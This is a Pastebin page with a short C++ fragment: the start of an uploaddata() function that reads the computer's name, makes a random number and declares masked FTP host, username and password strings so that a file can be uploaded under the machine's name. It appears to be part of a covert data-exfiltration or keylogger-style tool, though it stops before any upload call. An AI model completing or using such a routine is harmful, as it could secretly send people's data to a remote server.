Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- void uploaddata()
- {
- string computer;
- computer = getenv ("COMPUTERNAME"); //We will use this to rename the file to the name of the computer
- srand ( time(NULL) ); // Setting up a random number
- int random = rand() % 1000 + 1; //
- string host = "*****"; // ftp host name
- string user = "*****"; // username
- string pass = "*****"; // password
- char intstring[20]; //
- itoa(random, intstring, 10); // This is just to change the random number(int) to a character array
Add Comment
Please, Sign In to add comment